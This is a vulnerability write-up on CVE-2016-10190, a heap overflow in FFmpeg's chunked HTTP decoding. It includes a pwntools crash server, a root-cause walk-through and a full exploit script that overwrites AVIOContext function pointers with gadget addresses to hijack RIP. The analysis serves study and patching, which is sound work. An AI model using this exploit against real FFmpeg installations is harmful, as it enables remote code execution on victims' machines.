Skip to content
cveffmpegheapbuffer-overflowmediaexploitation

CVE-2016-10190: FFmpeg Heap-Based Buffer Overflow

7 min read

Overview

The vulnerability analyzed this time is CVE-2016-10190.

The target is FFmpeg. Honestly, I only had a vague idea of what this program was — something like "a codec." Looking it up, FFmpeg is an open-source project developed under the leadership of Michael Niedermayer, licensed under LGPL and GPL, built with the goal of decoding and encoding every video, music, and image format.

Among FFmpeg's features is the ability to save external video from an HTTP stream locally in avi format.

./ffmpeg -i http://example.com/video.mp4 output.avi

The vulnerability arises precisely in this feature.

Target: FFmpeg 3.2.1 (libavformat 57.56.100)
Vulnerable component: libavformat/http.c — chunked transfer-encoding decoding
Impact: remote arbitrary code execution when processing a malicious HTTP stream URL


Triggering the crash

This vulnerability was originally discovered through fuzzing. The minimal crash payload is a crafted HTTP response.

HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked

-1
abcdef

Sending these headers from a server crashes FFmpeg. But how do you send it? This is where I got stuck. With the help of a blog post, I learned that you set up your own server. Here is the Python server code that delivers this payload.

#!/usr/bin/python
 
from pwn import *
import time
import socket
 
headers = """HTTP/1.1 200 OK
Server: HTTP/v1.0
Content-Type: text/html
Transfer-Encoding: chunked
 
"""
 
def main():
    p = listen(12345)
    p.wait_for_connection()
    log.success("Connect")
 
    p.send(headers)
 
    p.sendline("-1")
    log.info("Bug triggered. Please wait for five seconds...")
    time.sleep(5)
 
    payload  = "A" * 0x8000
    payload += "B" * 0x80
 
    log.info("Payload Send")
    p.send(payload)
    p.close()
 
if __name__ == '__main__':
    main()

Running FFmpeg against the local server:

./ffmpeg -i http://127.0.0.1:12345 ./test.avi
[1]    13782 segmentation fault (core dumped)  ./ffmpeg -i http://127.0.0.1:12345 ./test.avi

The vulnerability triggers, as confirmed. Now it's time to analyze.


Root-cause analysis

Call flow

The read path when FFmpeg processes an HTTP stream is as follows.

ffurl_read
  → retry_transfer_wrapper
    → http_read (libavformat/http.c:1384)
      → http_read_stream (libavformat/http.c:1273)
        → http_buf_read (libavformat/http.c:1182)
          → ffurl_read (internal, for TCP)
            → retry_transfer_wrapper
              → tcp_read (libavformat/tcp.c:221)

GDB backtrace (at crash time):

#0  tcp_read        (h=0x245a7c0, buf=0x245ab80, size=0xffffffff)
#1  retry_transfer_wrapper (size=0xffffffff, size_min=0x1)
#2  ffurl_read      (size=0xffffffff)
#3  http_buf_read   (size=0xffffffff)
#4  http_read_stream (size=0xffffffff)
#5  http_read       (size=0x8000)
...
#11 av_probe_input_buffer2

Chunk size parsing

When http_read_stream detects Transfer-Encoding: chunked, it parses the server-supplied chunk size with strtoll.

static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
    ...
    if (s->chunksize >= 0) {
        if (!s->chunksize) {
            char line[32];
            do {
                if ((err = http_get_line(s, line, sizeof(line))) < 0)
                    return err;
            } while (!*line);
 
            s->chunksize = strtoll(line, NULL, 16);   // parses "-1" as 0xFFFFFFFFFFFFFFFF
 
            if (!s->chunksize)
                return 0;
        }
        size = FFMIN(size, s->chunksize);   // FFMIN(0x8000, 0xFFFFFFFFFFFFFFFF) = 0x8000... but s->chunksize is a signed type
    }
    ...
    read_ret = http_buf_read(h, buf, size);
    ...
}

When the chunk size "-1" is parsed as hexadecimal via strtoll, it becomes -1 under a signed interpretation (0xFFFFFFFFFFFFFFFF under an unsigned one). The FFMIN macro compares int size (0x8000) with int64_t s->chunksize (-1). In the signed comparison, -1 is less than 0x8000, so size is set to -1 (which is 0xFFFFFFFF as an int).

The overflow in http_buf_read

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    int len;
 
    len = s->buf_end - s->buf_ptr;    // remaining bytes in the internal buffer
    if (len > 0) {
        if (len > size)
            len = size;
        memcpy(buf, s->buf_ptr, len);
        s->buf_ptr += len;
    } else {
        ...
        len = ffurl_read(s->hd, buf, size);   // size = 0xFFFFFFFF -> passed on to tcp_read
        ...
    }
    ...
    return len;
}

When the internal HTTP read buffer is empty (len == 0), the function enters the else branch and calls ffurl_read(s->hd, buf, size) with size = 0xFFFFFFFF.

If you can escape the if (len > 0) condition and reach the else statement, this leads to a flow where a heap overflow is possible via ffurl_read. The key was learning that FFmpeg's HTTP read buffer size is 0x8000, and that consuming exactly that much makes len become 0.

tcp_read passing an oversized size to recv()

static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h->priv_data;
    int ret;
 
    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
        ret = ff_network_wait_fd_timeout(...);
        if (ret)
            return ret;
    }
    ret = recv(s->fd, buf, size, 0);   // recv(fd, heap_buf, 0xFFFFFFFF, 0)
    return ret < 0 ? ff_neterrno() : ret;
}

recv() is called with size = 0xFFFFFFFF. The destination buffer buf (0x245ab80) is a 0x8000-byte heap allocation used by av_probe_input_buffer2. Receiving more than 0x8000 bytes overflows this heap chunk.


Exploitation

If you can control the data written past the end of the heap buffer, an attacker can corrupt adjacent heap metadata and AVIOContext fields. The exploit overwrites the adjacent AVIOContext struct on the heap with controlled values to hijack the instruction pointer.

Exploit script (RIP control)

from pwn import *
import time
import socket
 
headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
 
'''
 
def main():
    p = listen(12345)
    p.wait_for_connection()
    log.success('Connection Success')
 
    stack_pivot      = 0x000000000049f619
    push_rbx_jmp_rdi = 0x00000000011962b5
    pop_rsp          = 0x00000000004078a9
 
    log.info('stack_pivot      : ' + hex(stack_pivot))
    log.info('push_rbx_jmp_rdi : ' + hex(push_rbx_jmp_rdi))
    log.info('pop_rsp          : ' + hex(pop_rsp))
 
    p.send(headers)
    p.sendline('-1')
    log.info("Triggered.")
    time.sleep(5)
 
    payload = ''
    payload += "A" * 0x8060          # reach the AVIOContext on the heap
    payload += p64(stack_pivot)       # av_class -> first qword -> control RIP via indirect call
    payload += ('B' * 8) * 4         # buffer, buffer_size, buf_ptr, buf_end
    payload += p64(pop_rsp)           # opaque
    payload += p64(push_rbx_jmp_rdi) # read_packet function pointer
    payload += ('C' * 8) * 3         # write_packet, seek, pos
    payload += 'D' * 4               # must_flush
    payload += p32(0)                 # eof_reached
    payload += 'E' * 8               # write_flag, max_packet_size
    payload += p64(stack_pivot)       # checksum
    payload += ('F' * 8) * 11        # checksum_ptr ... short_seek_threshold
 
    # ROP chain
    payload += p64(0x414141414141)
    payload += p64(0x424242424242)
    payload += p64(0x434343434343)
 
    log.info('Payload Send.')
    p.send(payload)
    p.close()
 
if __name__ == '__main__':
    main()

This is the code that gains RIP control. It uses a few gadgets, of which the stack pivot is the core.

Exploit technique

  1. Heap spray — fill 0x8060 bytes of A to reach the AVIOContext located right after the probe buffer.
  2. AVIOContext corruption — overwrite the av_class and read_packet function pointers with ROP gadgets.
  3. Stack pivot — the stack_pivot gadget (pop rsp) redirects the stack pointer to the attacker-controlled buffer.
  4. ROP chain — once the stack is pivoted, arbitrary gadgets execute. The complete chain calls execve("/bin/sh", ...).

The gadgets used (stack_pivot, push_rbx_jmp_rdi, pop_rsp) can all be found within the FFmpeg binary, leaving ASLR as the main remaining mitigation.


Summary

Item Details
CVE CVE-2016-10190
Affected software FFmpeg ≤ 3.2.1 (libavformat)
Vulnerability type Heap-based buffer overflow
Root cause Signed/unsigned type mismatch on the chunked size -> size=0xFFFFFFFF passed to recv()
Trigger A malicious HTTP server returning Transfer-Encoding: chunked with chunk size -1
Impact Remote code execution via overwriting AVIOContext function pointers + stack pivot
Fix Validate chunk size ≥ 0 before use; reject negative values

References